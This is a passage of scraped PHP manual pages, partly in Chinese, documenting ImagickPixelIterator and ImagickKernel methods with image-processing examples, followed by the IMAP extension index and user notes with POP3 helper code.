/** @var $pixel \ImagickPixel */
if ($column % 2) {
/* Paint every second pixel black*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}
}
/* Sync the iterator, this is important to do on each iteration */
$imageIterator->syncIterator();
}

$count += 1;
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous row

  • ? ImagickPixelIterator::getNextIteratorRow
  • ImagickPixelIterator::newPixelIterator ?
  • PHP Manual
  • ImagickPixelIterator
  • Returns the previous row

ImagickPixelIterator::getPreviousIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row

说明

public ImagickPixelIterator::getPreviousIteratorRow(): array
Warning

本函数还未编写文档，仅有参数列表。

Returns the previous row as an array of pixel wands from the pixel iterator.

返回值

Returns the previous row as an array of ImagickPixelWand objects from the ImagickPixelIterator, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new pixel iterator

  • ? ImagickPixelIterator::getPreviousIteratorRow
  • ImagickPixelIterator::newPixelRegionIterator ?
  • PHP Manual
  • ImagickPixelIterator
  • Returns a new pixel iterator

ImagickPixelIterator::newPixelIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator

说明

public ImagickPixelIterator::newPixelIterator(Imagick $wand): bool
Warning

本函数还未编写文档，仅有参数列表。

Returns a new pixel iterator.

返回值

成功时返回 true。 Throwing ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new pixel iterator

  • ? ImagickPixelIterator::newPixelIterator
  • ImagickPixelIterator::resetIterator ?
  • PHP Manual
  • ImagickPixelIterator
  • Returns a new pixel iterator

ImagickPixelIterator::newPixelRegionIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator

说明

public ImagickPixelIterator::newPixelRegionIterator(
Imagick $wand,
int $x,
int $y,
int $columns,
int $rows
): bool
Warning

本函数还未编写文档，仅有参数列表。

Returns a new pixel iterator.

参数

wand

x

y

columns

rows

返回值

Returns a new ImagickPixelIterator on success; on failure, throws ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Resets the pixel iterator

  • ? ImagickPixelIterator::newPixelRegionIterator
  • ImagickPixelIterator::setIteratorFirstRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Resets the pixel iterator

ImagickPixelIterator::resetIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::resetIterator — Resets the pixel iterator

说明

public ImagickPixelIterator::resetIterator(): bool
Warning

本函数还未编写文档，仅有参数列表。

Resets the pixel iterator. Use it in conjunction with ImagickPixelIterator::getNextIteratorRow() to iterate over all the pixels in a pixel container.

返回值

成功时返回 true。

示例

Example #1 ImagickPixelIterator::resetIterator()

<?php
function resetIterator($imagePath) {

$imagick = new \Imagick(realpath($imagePath));

$imageIterator = $imagick->getPixelIterator();

/* Loop trough pixel rows */
foreach ($imageIterator as $pixels) {
/* Loop through the pixels in the row (columns) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 2) {

/* Make every second pixel 25% red*/
$pixel->setColorValue(\Imagick::COLOR_RED, 64);
}
}
/* Sync the iterator, this is important to do on each iteration */
$imageIterator->syncIterator();
}

$imageIterator->resetiterator();

/* Loop trough pixel rows */
foreach ($imageIterator as $pixels) {
/* Loop through the pixels in the row (columns) */
foreach ($pixels as $column => $pixel) {
/** @var $pixel \ImagickPixel */
if ($column % 3) {
$pixel->setColorValue(\Imagick::COLOR_BLUE, 64); /* Make every second pixel a little blue*/
//$pixel->setColor("rgba(0, 0, 128, 0)"); /* Paint every second pixel black*/
}
}
$imageIterator->syncIterator(); /* Sync the iterator, this is important to do on each iteration */
}

$imageIterator->clear();

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the pixel iterator to the first pixel row

  • ? ImagickPixelIterator::resetIterator
  • ImagickPixelIterator::setIteratorLastRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Sets the pixel iterator to the first pixel row

ImagickPixelIterator::setIteratorFirstRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row

说明

public ImagickPixelIterator::setIteratorFirstRow(): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the pixel iterator to the first pixel row.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the pixel iterator to the last pixel row

  • ? ImagickPixelIterator::setIteratorFirstRow
  • ImagickPixelIterator::setIteratorRow ?
  • PHP Manual
  • ImagickPixelIterator
  • Sets the pixel iterator to the last pixel row

ImagickPixelIterator::setIteratorLastRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row

说明

public ImagickPixelIterator::setIteratorLastRow(): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the pixel iterator to the last pixel row.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Set the pixel iterator row

  • ? ImagickPixelIterator::setIteratorLastRow
  • ImagickPixelIterator::syncIterator ?
  • PHP Manual
  • ImagickPixelIterator
  • Set the pixel iterator row

ImagickPixelIterator::setIteratorRow

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::setIteratorRow — Set the pixel iterator row

说明

public ImagickPixelIterator::setIteratorRow(int $row): bool
Warning

本函数还未编写文档，仅有参数列表。

Set the pixel iterator row.

参数

row

返回值

成功时返回 true。

示例

Example #1 ImagickPixelIterator::setIteratorRow()

<?php
function setIteratorRow($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = $imagick->getPixelRegionIterator(200, 100, 200, 200);

for ($x = 0; $x < 20; $x++) {
$imageIterator->setIteratorRow($x * 5);
$pixels = $imageIterator->getCurrentIteratorRow();
/* Loop through the pixels in the row (columns) */
foreach ($pixels as $pixel) {
/** @var $pixel \ImagickPixel */
/* Paint every second pixel black*/
$pixel->setColor("rgba(0, 0, 0, 0)");
}

/* Sync the iterator, this is important to do on each iteration */
$imageIterator->syncIterator();
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Syncs the pixel iterator

  • ? ImagickPixelIterator::setIteratorRow
  • ImagickKernel ?
  • PHP Manual
  • ImagickPixelIterator
  • Syncs the pixel iterator

ImagickPixelIterator::syncIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::syncIterator — Syncs the pixel iterator

说明

public ImagickPixelIterator::syncIterator(): bool
Warning

本函数还未编写文档，仅有参数列表。

Syncs the pixel iterator.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


The ImagickKernel class

(PECL imagick >= 3.3.0)

简介

类摘要

class ImagickKernel {
/* 方法 */
public addKernel(ImagickKernel $ImagickKernel): void
public addUnityKernel(float $scale): void
public static fromBuiltin(int $kernelType, string $kernelString): ImagickKernel
public static fromMatrix(array $matrix, array $origin = ?): ImagickKernel
public getMatrix(): array
public scale(float $scale, int $normalizeFlag = ?): void
public separate(): array
}

Table of Contents

  • ImagickKernel::addKernel — Attach another kernel to a kernel list
  • ImagickKernel::addUnityKernel — Adds a Unity Kernel to the kernel list
  • ImagickKernel::fromBuiltIn — Create a kernel from a builtin in kernel
  • ImagickKernel::fromMatrix — Create a kernel from a 2d matrix of values
  • ImagickKernel::getMatrix — Get the 2d matrix of values used in this kernel
  • ImagickKernel::scale — Scales a kernel list by the given amount
  • ImagickKernel::separate — Separates a linked set of kernels and returns an array of ImagickKernels

User Contributed Notes

There are no user contributed notes for this page.


Attach another kernel to a kernel list

  • ? ImagickKernel
  • ImagickKernel::addUnityKernel ?
  • PHP Manual
  • ImagickKernel
  • Attach another kernel to a kernel list

ImagickKernel::addKernel

(PECL imagick >= 3.3.0)

ImagickKernel::addKernel — Attach another kernel to a kernel list

说明

public ImagickKernel::addKernel(ImagickKernel $ImagickKernel): void

Attach another kernel to this kernel to allow them to both be applied in a single morphology or filter function. Returns the new combined kernel.

参数

ImagickKernel

返回值

示例

Example #1 ImagickKernel::addKernel()

<?php
function addKernel($imagePath) {
$matrix1 = [
[-1, -1, -1],
[ 0, 0, 0],
[ 1, 1, 1],
];

$matrix2 = [
[-1, 0, 1],
[-1, 0, 1],
[-1, 0, 1],
];

$kernel1 = ImagickKernel::fromMatrix($matrix1);
$kernel2 = ImagickKernel::fromMatrix($matrix2);
$kernel1->addKernel($kernel2);

$imagick = new \Imagick(realpath($imagePath));
$imagick->filter($kernel1);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Adds a Unity Kernel to the kernel list

  • ? ImagickKernel::addKernel
  • ImagickKernel::fromBuiltIn ?
  • PHP Manual
  • ImagickKernel
  • Adds a Unity Kernel to the kernel list

ImagickKernel::addUnityKernel

(PECL imagick >= 3.3.0)

ImagickKernel::addUnityKernel — Adds a Unity Kernel to the kernel list

说明

public ImagickKernel::addUnityKernel(float $scale): void

Adds a given amount of the 'Unity' Convolution Kernel to the given pre-scaled and normalized Kernel. This in effect adds that amount of the original image into the resulting convolution kernel. The resulting effect is to convert the defined kernels into blended soft-blurs, unsharp kernels or into sharpening kernels.

参数

此函数没有参数。

返回值

示例

Example #1 ImagickKernel::addUnityKernel()

<?php

function renderKernelTable($matrix) {
$output = "<table class='infoTable'>";

foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$kernel->scale(1, \Imagick::NORMALIZE_KERNEL_VALUE);
$output = "Before adding unity kernel: <br/>";
$output .= renderKernelTable($kernel->getMatrix());
$kernel->addUnityKernel(0.5);
$output .= "After adding unity kernel: <br/>";
$output .= renderKernelTable($kernel->getMatrix());

$kernel->scale(1, \Imagick::NORMALIZE_KERNEL_VALUE);
$output .= "After renormalizing kernel: <br/>";
$output .= renderKernelTable($kernel->getMatrix());

echo $output;

?>

Example #2 ImagickKernel::addUnityKernel()

<?php
function addUnityKernel($imagePath) {

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = ImagickKernel::fromMatrix($matrix);

$kernel->scale(4, \Imagick::NORMALIZE_KERNEL_VALUE);
$kernel->addUnityKernel(0.5);

$imagick = new \Imagick(realpath($imagePath));
$imagick->filter($kernel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Create a kernel from a builtin in kernel

  • ? ImagickKernel::addUnityKernel
  • ImagickKernel::fromMatrix ?
  • PHP Manual
  • ImagickKernel
  • Create a kernel from a builtin in kernel

ImagickKernel::fromBuiltIn

(PECL imagick >= 3.3.0)

ImagickKernel::fromBuiltIn — Create a kernel from a builtin in kernel

说明

public static ImagickKernel::fromBuiltin(int $kernelType, string $kernelString): ImagickKernel

Create a kernel from a builtin in kernel. See http://www.imagemagick.org/Usage/morphology/#kernel for examples. Currently the 'rotation' symbols are not supported. Example: $diamondKernel = ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DIAMOND, "2");

参数

kerneltype

The type of kernel to build e.g. \Imagick::KERNEL_DIAMOND

kernelString

A string that describes the parameters e.g. "4,2.5"

返回值

示例

Example #1 ImagickKernel::fromBuiltin()

<?php

function renderKernel(ImagickKernel $imagickKernel) {
$matrix = $imagickKernel->getMatrix();

$imageMargin = 20;

$tileSize = 20;
$tileSpace = 4;
$shadowSigma = 4;
$shadowDropX = 20;
$shadowDropY = 0;

$radius = ($tileSize / 2) * 0.9;

$rows = count($matrix);
$columns = count($matrix[0]);

$imagickDraw = new \ImagickDraw();

$imagickDraw->setFillColor('#afafaf');
$imagickDraw->setStrokeColor('none');

$imagickDraw->translate($imageMargin, $imageMargin);
$imagickDraw->push();

ksort($matrix);

foreach ($matrix as $row) {
ksort($row);
$imagickDraw->push();
foreach ($row as $cell) {
if ($cell !== false) {
$color = intval(255 * $cell);
$colorString = sprintf("rgb(%f, %f, %f)", $color, $color, $color);
$imagickDraw->setFillColor($colorString);
$imagickDraw->rectangle(0, 0, $tileSize, $tileSize);
}
$imagickDraw->translate(($tileSize + $tileSpace), 0);
}
$imagickDraw->pop();
$imagickDraw->translate(0, ($tileSize + $tileSpace));
}

$imagickDraw->pop();

$width = ($columns * $tileSize) + (($columns - 1) * $tileSpace);
$height = ($rows * $tileSize) + (($rows - 1) * $tileSpace);

$imagickDraw->push();
$imagickDraw->translate($width/2 , $height/2);
$imagickDraw->setFillColor('rgba(0, 0, 0, 0)');
$imagickDraw->setStrokeColor('white');
$imagickDraw->circle(0, 0, $radius - 1, 0);
$imagickDraw->setStrokeColor('black');
$imagickDraw->circle(0, 0, $radius, 0);
$imagickDraw->pop();

$canvasWidth = $width + (2 * $imageMargin);
$canvasHeight = $height + (2 * $imageMargin);

$kernel = new \Imagick();
$kernel->newPseudoImage(
$canvasWidth,
$canvasHeight,
'canvas:none'
);

$kernel->setImageFormat('png');
$kernel->drawImage($imagickDraw);

/* create drop shadow on it's own layer */
$canvas = $kernel->clone();
$canvas->setImageBackgroundColor(new \ImagickPixel('rgb(0, 0, 0)'));
$canvas->shadowImage(100, $shadowSigma, $shadowDropX, $shadowDropY);

$canvas->setImagePage($canvasWidth, $canvasHeight, -5, -5);
$canvas->cropImage($canvasWidth, $canvasHeight, 0, 0);

/* composite original text_layer onto shadow_layer */
$canvas->compositeImage($kernel, \Imagick::COMPOSITE_OVER, 0, 0);
$canvas->setImageFormat('png');

return $canvas;
}

function createFromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm) {
$string = '';

if ($kernelFirstTerm != false && strlen(trim($kernelFirstTerm)) != 0) {
$string .= $kernelFirstTerm;

if ($kernelSecondTerm != false && strlen(trim($kernelSecondTerm)) != 0) {
$string .= ','.$kernelSecondTerm;
if ($kernelThirdTerm != false && strlen(trim($kernelThirdTerm)) != 0) {
$string .= ','.$kernelThirdTerm;
}
}
}

$kernel = ImagickKernel::fromBuiltIn(
$kernelType,
$string
);

return $kernel;
}

function fromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm) {
$diamondKernel = createFromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm);
$imagick = renderKernel($diamondKernel);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

fromBuiltin(\Imagick::KERNEL_DIAMOND, 2, false, false);

?>

User Contributed Notes

There are no user contributed notes for this page.


Create a kernel from a 2d matrix of values

  • ? ImagickKernel::fromBuiltIn
  • ImagickKernel::getMatrix ?
  • PHP Manual
  • ImagickKernel
  • Create a kernel from a 2d matrix of values

ImagickKernel::fromMatrix

(PECL imagick >= 3.3.0)

ImagickKernel::fromMatrix — Create a kernel from a 2d matrix of values

说明

public static ImagickKernel::fromMatrix(array $matrix, array $origin = ?): ImagickKernel

Create a kernel from an 2d matrix of values. Each value should either be a float (if the element should be used) or 'false' if the element should be skipped. For matrices that are odd sizes in both dimensions the origin pixel will default to the centre of the kernel. For all other kernel sizes the origin pixel must be specified.

参数

array

A matrix (i.e. 2d array) of values that define the kernel. Each element should be either a float value, or FALSE if that element shouldn't be used by the kernel.

array

Which element of the kernel should be used as the origin pixel. e.g. For a 3x3 matrix specifying the origin as [2, 2] would specify that the bottom right element should be the origin pixel.

返回值

The generated ImagickKernel.

示例

Example #1 ImagickKernel::fromMatrix()

<?php

function renderKernel(ImagickKernel $imagickKernel) {
$matrix = $imagickKernel->getMatrix();

$imageMargin = 20;

$tileSize = 20;
$tileSpace = 4;
$shadowSigma = 4;
$shadowDropX = 20;
$shadowDropY = 0;

$radius = ($tileSize / 2) * 0.9;

$rows = count($matrix);
$columns = count($matrix[0]);

$imagickDraw = new \ImagickDraw();

$imagickDraw->setFillColor('#afafaf');
$imagickDraw->setStrokeColor('none');

$imagickDraw->translate($imageMargin, $imageMargin);
$imagickDraw->push();

ksort($matrix);

foreach ($matrix as $row) {
ksort($row);
$imagickDraw->push();
foreach ($row as $cell) {
if ($cell !== false) {
$color = intval(255 * $cell);
$colorString = sprintf("rgb(%f, %f, %f)", $color, $color, $color);
$imagickDraw->setFillColor($colorString);
$imagickDraw->rectangle(0, 0, $tileSize, $tileSize);
}
$imagickDraw->translate(($tileSize + $tileSpace), 0);
}
$imagickDraw->pop();
$imagickDraw->translate(0, ($tileSize + $tileSpace));
}

$imagickDraw->pop();

$width = ($columns * $tileSize) + (($columns - 1) * $tileSpace);
$height = ($rows * $tileSize) + (($rows - 1) * $tileSpace);

$imagickDraw->push();
$imagickDraw->translate($width/2 , $height/2);
$imagickDraw->setFillColor('rgba(0, 0, 0, 0)');
$imagickDraw->setStrokeColor('white');
$imagickDraw->circle(0, 0, $radius - 1, 0);
$imagickDraw->setStrokeColor('black');
$imagickDraw->circle(0, 0, $radius, 0);
$imagickDraw->pop();

$canvasWidth = $width + (2 * $imageMargin);
$canvasHeight = $height + (2 * $imageMargin);

$kernel = new \Imagick();
$kernel->newPseudoImage(
$canvasWidth,
$canvasHeight,
'canvas:none'
);

$kernel->setImageFormat('png');
$kernel->drawImage($imagickDraw);

/* create drop shadow on it's own layer */
$canvas = $kernel->clone();
$canvas->setImageBackgroundColor(new \ImagickPixel('rgb(0, 0, 0)'));
$canvas->shadowImage(100, $shadowSigma, $shadowDropX, $shadowDropY);

$canvas->setImagePage($canvasWidth, $canvasHeight, -5, -5);
$canvas->cropImage($canvasWidth, $canvasHeight, 0, 0);

/* composite original text_layer onto shadow_layer */
$canvas->compositeImage($kernel, \Imagick::COMPOSITE_OVER, 0, 0);
$canvas->setImageFormat('png');

return $canvas;
}

function createFromMatrix() {
$matrix = [
[0.5, 0, 0.2],
[0, 1, 0],
[0.9, 0, false],
];

$kernel = \ImagickKernel::fromMatrix($matrix);

return $kernel;
}

function fromMatrix() {
$kernel = createFromMatrix();
$imagick = renderKernel($kernel);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Get the 2d matrix of values used in this kernel

  • ? ImagickKernel::fromMatrix
  • ImagickKernel::scale ?
  • PHP Manual
  • ImagickKernel
  • Get the 2d matrix of values used in this kernel

ImagickKernel::getMatrix

(PECL imagick >= 3.3.0)

ImagickKernel::getMatrix — Get the 2d matrix of values used in this kernel

说明

public ImagickKernel::getMatrix(): array

Get the 2d matrix of values used in this kernel. The elements are either float for elements that are used or 'false' if the element should be skipped.

参数

此函数没有参数。

返回值

A matrix (2d array) of the values that represent the kernel.

示例

Example #1 ImagickKernel::getMatrix()

<?php

function renderKernelTable($matrix) {
$output = "<table class='infoTable'>";

foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$output = "The built-in kernel name 'ring' with parameters of '2,3.5':<br/>";
$kernel = \ImagickKernel::fromBuiltIn(
\Imagick::KERNEL_RING,
"2,3.5"
);
$matrix = $kernel->getMatrix();
$output .= renderKernelTable($matrix);

echo $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


Scales a kernel list by the given amount

  • ? ImagickKernel::getMatrix
  • ImagickKernel::separate ?
  • PHP Manual
  • ImagickKernel
  • Scales a kernel list by the given amount

ImagickKernel::scale

(PECL imagick >= 3.3.0)

ImagickKernel::scale — Scales a kernel list by the given amount

说明

public ImagickKernel::scale(float $scale, int $normalizeFlag = ?): void

Scales the given kernel list by the given amount, with or without normalization of the sum of the kernel values (as per given flags). The exact behaviour of this function depends on the normalization type being used please see http://www.imagemagick.org/api/morphology.php#ScaleKernelInfo for details.

参数

scale

normalizeFlag

  • Imagick::NORMALIZE_KERNEL_NONE
  • Imagick::NORMALIZE_KERNEL_VALUE
  • Imagick::NORMALIZE_KERNEL_CORRELATE
  • Imagick::NORMALIZE_KERNEL_PERCENT

返回值

示例

Example #1 ImagickKernel::scale()

<?php

function renderKernelTable($matrix) {
$output = "<table class='infoTable'>";

foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$output = "";

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$kernelClone = clone $kernel;

$output .= "Start kernel<br/>";
$output .= renderKernelTable($kernel->getMatrix());

$output .= "Scaling with NORMALIZE_KERNEL_VALUE. The <br/>";
$kernel->scale(2, \Imagick::NORMALIZE_KERNEL_VALUE);
$output .= renderKernelTable($kernel->getMatrix());

$kernel = clone $kernelClone;
$output .= "Scaling by percent<br/>";
$kernel->scale(2, \Imagick::NORMALIZE_KERNEL_PERCENT);
$output .= renderKernelTable($kernel->getMatrix());

$matrix2 = [
[-1, -1, 1],
[ -1, false, 1],
[1, 1, 1],
];

$kernel = \ImagickKernel::fromMatrix($matrix2);
$output .= "Scaling by correlate<br/>";
$kernel->scale(1, \Imagick::NORMALIZE_KERNEL_CORRELATE);
$output .= renderKernelTable($kernel->getMatrix());

return $output;
?>

User Contributed Notes

There are no user contributed notes for this page.


Separates a linked set of kernels and returns an array of ImagickKernels

  • ? ImagickKernel::scale
  • 邮件相关扩展 ?
  • PHP Manual
  • ImagickKernel
  • Separates a linked set of kernels and returns an array of ImagickKernels

ImagickKernel::separate

(PECL imagick >= 3.3.0)

ImagickKernel::separate — Separates a linked set of kernels and returns an array of ImagickKernels

说明

public ImagickKernel::separate(): array

Separates a linked set of kernels and returns an array of ImagickKernels.

参数

此函数没有参数。

返回值

示例

Example #1 ImagickKernel::separate()

<?php

function renderKernelTable($matrix) {

$output = "<table class='infoTable'>";
foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$kernel->scale(4, \Imagick::NORMALIZE_KERNEL_VALUE);
$diamondKernel = \ImagickKernel::fromBuiltIn(
\Imagick::KERNEL_DIAMOND,
"2"
);

$kernel->addKernel($diamondKernel);

$kernelList = $kernel->separate();

$output = '';
$count = 0;
foreach ($kernelList as $kernel) {
$output .= "<br/>Kernel $count<br/>";
$output .= renderKernelTable($kernel->getMatrix());
$count++;
}

return $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


邮件相关扩展

  • IMAP — IMAP, POP3 和 NNTP
    • 简介
    • 安装/配置
    • 预定义常量
    • IMAP 函数
    • IMAP\Connection — The IMAP\Connection class
  • Mail
    • 简介
    • 安装/配置
    • 预定义常量
    • Mail 函数
  • Mailparse
    • 简介
    • 安装/配置
    • 预定义常量
    • Mailparse 函数

User Contributed Notes

There are no user contributed notes for this page.


IMAP, POP3 和 NNTP

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • IMAP 函数
    • imap_8bit — Convert an 8bit string to a quoted-printable string
    • imap_alerts — Returns all IMAP alert messages that have occurred
    • imap_append — Append a string message to a specified mailbox
    • imap_base64 — Decode BASE64 encoded text
    • imap_binary — Convert an 8bit string to a base64 string
    • imap_body — Read the message body
    • imap_bodystruct — Read the structure of a specified body section of a specific message
    • imap_check — Check current mailbox
    • imap_clearflag_full — Clears flags on messages
    • imap_close — Close an IMAP stream
    • imap_create — 别名 imap_createmailbox
    • imap_createmailbox — Create a new mailbox
    • imap_delete — Mark a message for deletion from current mailbox
    • imap_deletemailbox — Delete a mailbox
    • imap_errors — Returns all of the IMAP errors that have occurred
    • imap_expunge — Delete all messages marked for deletion
    • imap_fetch_overview — Read an overview of the information in the headers of the given message
    • imap_fetchbody — Fetch a particular section of the body of the message
    • imap_fetchheader — Returns header for a message
    • imap_fetchmime — Fetch MIME headers for a particular section of the message
    • imap_fetchstructure — Read the structure of a particular message
    • imap_fetchtext — 别名 imap_body
    • imap_gc — Clears IMAP cache
    • imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox
    • imap_get_quotaroot — Retrieve the quota settings per user
    • imap_getacl — Gets the ACL for a given mailbox
    • imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one
    • imap_getsubscribed — List all the subscribed mailboxes
    • imap_header — 别名 imap_headerinfo
    • imap_headerinfo — Read the header of the message
    • imap_headers — Returns headers for all messages in a mailbox
    • imap_is_open — Check if the IMAP stream is still valid
    • imap_last_error — Gets the last IMAP error that occurred during this page request
    • imap_list — Read the list of mailboxes
    • imap_listmailbox — 别名 imap_list
    • imap_listscan — Returns the list of mailboxes that matches the given text
    • imap_listsubscribed — 别名 imap_lsub
    • imap_lsub — List all the subscribed mailboxes
    • imap_mail_compose — Create a MIME message based on given envelope and body sections
    • imap_mail_copy — Copy specified messages to a mailbox
    • imap_mail_move — Move specified messages to a mailbox
    • imap_mail — Send an email message
    • imap_mailboxmsginfo — Get information about the current mailbox
    • imap_mime_header_decode — Decode MIME header elements
    • imap_msgno — Gets the message sequence number for the given UID
    • imap_mutf7_to_utf8 — Decode a modified UTF-7 string to UTF-8
    • imap_num_msg — Gets the number of messages in the current mailbox
    • imap_num_recent — Gets the number of recent messages in current mailbox
    • imap_open — Open an IMAP stream to a mailbox
    • imap_ping — Check if the IMAP stream is still active
    • imap_qprint — Convert a quoted-printable string to an 8 bit string
    • imap_rename — 别名 imap_renamemailbox
    • imap_renamemailbox — Rename an old mailbox to new mailbox
    • imap_reopen — Reopen IMAP stream to new mailbox
    • imap_rfc822_parse_adrlist — Parses an address string
    • imap_rfc822_parse_headers — Parse mail headers from a string
    • imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info
    • imap_savebody — Save a specific body section to a file
    • imap_scan — 别名 imap_listscan
    • imap_scanmailbox — 别名 imap_listscan
    • imap_search — This function returns an array of messages matching the given search criteria
    • imap_set_quota — Sets a quota for a given mailbox
    • imap_setacl — Sets the ACL for a given mailbox
    • imap_setflag_full — Sets flags on messages
    • imap_sort — Gets and sort messages
    • imap_status — Returns status information on a mailbox
    • imap_subscribe — Subscribe to a mailbox
    • imap_thread — Returns a tree of threaded message
    • imap_timeout — Set or fetch imap timeout
    • imap_uid — This function returns the UID for the given message sequence number
    • imap_undelete — Unmark the message which is marked deleted
    • imap_unsubscribe — Unsubscribe from a mailbox
    • imap_utf7_decode — Decodes a modified UTF-7 encoded string
    • imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text
    • imap_utf8_to_mutf7 — Encode a UTF-8 string to modified UTF-7
    • imap_utf8 — Converts MIME-encoded text to UTF-8
  • IMAP\Connection — The IMAP\Connection class

User Contributed Notes

opto 16-Mar-2012 12:08
it seems that in new PHP versions, $ssl must be specified even if no ssl is used - I got it working for POP3 only after adding /notls (honour some post I found somewhere)
Klaus
dev at bluehead dot com dot br 27-Nov-2011 06:13
Because I don't know regular expressions, I hacked the mail_parse_headers() to properly get the last line from the header string:

<?php
function mail_parse_headers($headers)
{

    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    $headers=trim($headers)."\r\n"; /* a hack for the preg_match_all in the next line */
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
?>
Wil Barath 25-Feb-2010 07:54
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($connection);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($connection);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($connection,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
        return $result;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
